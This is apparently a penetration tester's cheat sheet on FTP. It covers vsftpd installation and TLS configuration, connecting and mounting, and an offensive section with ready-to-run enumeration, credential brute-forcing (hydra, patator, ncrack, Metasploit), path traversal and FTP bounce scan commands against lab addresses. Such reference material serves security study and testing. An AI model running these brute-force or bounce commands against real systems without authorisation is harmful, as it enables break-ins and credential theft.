FTP

Resources

• Technology
  • By jscapeus : https://www.youtube.com/watch?v=8X-DZUIZa94
  • Build The server : https://phoenixnap.com/kb/install-ftp-server-on-ubuntu-vsftpd
  • ASCII vs Binary : https://phoenixnap.com/kb/install-ftp-server-on-ubuntu-vsftpd
  • Passive vs Active : https://www.youtube.com/watch?v=8X-DZUIZa94
• Offensive
  • By Hacking articles : https://www.hackingarticles.in/ftp-penetration-testing-on-ubuntu-port-21/

Cheat sheet

• secybr : https://secybr.com/posts/ftp-pentesting-best-practices/#directory-traversal-attack
• hacktricks : https://hacktricks.wiki/en/network-services-pentesting/pentesting-ftp/
• verylazytech : https://www.verylazytech.com/network-pentesting/ftp-port-21
• Thehackerecipes : https://www.thehacker.recipes/infra/protocols/ftp
• Commands FTP list : https://web.archive.org/web/20230326204635/https://www.smartfile.com/blog/the-ultimate-ftp-commands-list/

Commands

• Technology
  • Install the FTP service and run it .

    sudo apt install vsftpd
    sudo systemctl enable vsftpd
    sudo systemctl start vsftpd

  • Generating SSL

    sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/ssl/private/vsftpd.pem -out /etc/ssl/private/vsftpd.pem

    • Configrations

          ssl_enable=YES
          rsa_cert_file=/etc/ssl/private/vsftpd.pem
          rsa_private_key_file=/etc/ssl/private/vsftpd.pem
          allow_anon_ssl=NO
          force_local_data_ssl=YES
          force_local_logins_ssl=YES
          ssl_tlsv1=YES
          ssl_sslv2=NO
          ssl_sslv3=NO
          require_ssl_reuse=NO
          ssl_ciphers=HIGH
          pasv_min_port=40000
          pasv_max_port=50000

  • Connecting
    • ftp

      ftp ftp://ubuntu:123@192.168.99.24 # Username & Password 
      ftp ftp://anonymous:anonymous@192.168.99.24 # Anonymous 

    • lftp

      lftp
      lftp :~> set ftp:ssl-force true
      lftp :~> set ssl:verify-certificate no
      lftp :~> connect 192.168.99.24
      lftp 192.168.99.24:~> login ubuntu 123
      lftp ubuntu@192.168.99.24:~> ls
      

  • Mounting

      apt-get install curlftpfs
      curlftpfs ubuntu:123@192.168.99.24 my_ftp # If SSL is enabled -o ssl,no_verify_peer,no_verify_hostname
      curlftpfs -o allow_other ftp-user:ftp-pass@my-ftp-location.local /mnt/my_ftp/ # To allow other users
      fusermount -u my_ftp # unmount     

    • Downloading

      wget -m --no-passive ftps://ubuntu:123@192.168.99.24/ --no-check-certificate -reject '.vboxclient*'

• Offensive
  • Enumeration
    • Scaning

          nmap -Pn --disable-arp-ping -sV 192.168.99.24 -p21

    • Banner Grabbing bash nmap -Pn --disable-arp-ping -sV 192.168.99.24 -p21 --script=banner nc -nv 192.168.99.24 21 telnet 192.168.99.24 21 openssl s_client -connect 192.168.99.24:21 -starttls ftp
  • Offensive
    • Brute Forcing
      • MSF

        msf > use auxiliary/scanner/ftp/anonymous
        msf > use auxiliary/scanner/ftp/ftp_login

      • Nmap

        nmap --script=ftp-anon -p21 192.168.99.24
        nmap --script ftp-brute -p21 192.168.99.24

      • Patator

        patator ftp_login host=192.168.99.24 user=FILE0 password=FILE1 0=users  1=pass.txt tls=1 -x ignore:mesg='Login incorrect.' -x ignore,reset,retry:code=500 # SSL

      • Hydra

        hydra -t 2 -L users -P pass.txt 192.168.99.24 -s 21 ftps #SSL         
        hydra -L users -P pass.txt 192.168.99.24 ftp -V

      • ncrack

        ncrack -v -U users -P pass.txt ftp://192.168.99.24:21

    • Attacks
      • Path Traversal

        ftp ftp://ubuntu:123@192.168.99.24
        ftp> ls ../../../../
        -rwxrwxrwx   1 ftp      ftp            0 Sep 23  2015 AUTOEXEC.BAT
        -rw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 CONFIG.SYS

      • FTP Bounce
        • Nmap

          nmap -sV --script ftp-bounce -p21 10.10.x.x 
          nmap -v -p 21,22,445,80,443 -b username:password@172.19.0.100 192.168.0.1/24

        • Msf

          msf > use   auxiliary/scanner/portscan/ftpbounce

      sequenceDiagram
          participant Attacker
          participant FTP server
          participant Target
          Attacker->>FTP server: PORT 172,19,0,100,0,1234
          FTP server-->>Target:  SYN+Port 1234
          Target-->> FTP server: SYN/ACK
          FTP server-->> Target: ACK
          FTP server ->> Attacker: 226 Transfer Complete
      

Notes

FTP Data Channels Active vs. Passive Mode

Active Mode : The client initiates the command channel to the server on Port 21. When a file transfer is requested, the server actively reaches back out to the client from Port 20 to establish the data channel. This frequently breaks in modern networks because client-side NAT and firewalls drop the unexpected incoming connection.

sequenceDiagram
    participant User
    participant FTP Server
    User->>FTP Server: Command Channel (Port 21)
    FTP Server-->>User: Data Transmission (Port 20)

---

Passive Mode (PASV) : The client initiates the command channel to the server on Port 21. When a file transfer is requested, the server opens a random ephemeral port and instructs the client to connect to it. The client initiates the data connection, which safely bypasses client-side NAT and local firewalls.

sequenceDiagram
    participant User
    participant FTP Server
    User->>FTP Server: Command Channel (Port 21)
    User-->>FTP Server: Data Transmission (Random Ephemeral Port)

Tips

• In addition, there is a file called /etc/ftpusers that we also need to pay attention to, as this file is used to deny certain users access to the FTP service.
• File upload (PUT FileName.exe) or download (GET FileName.txt; mget FileName.txt) operations can be performed after login. In order for the file to be loaded to be added without being corrupted, the mode must be changed with the “binary” commands if this file is in binary format, and “ascii” commands if it is in ASCII format.
• As hinted earlier, passive mode FTP is the more recent data connection mode. While older systems only support active mode, modern GUI-based or command-line FTP clients also support passive mode. Let’s now go over the simplified steps for establishing passive connections.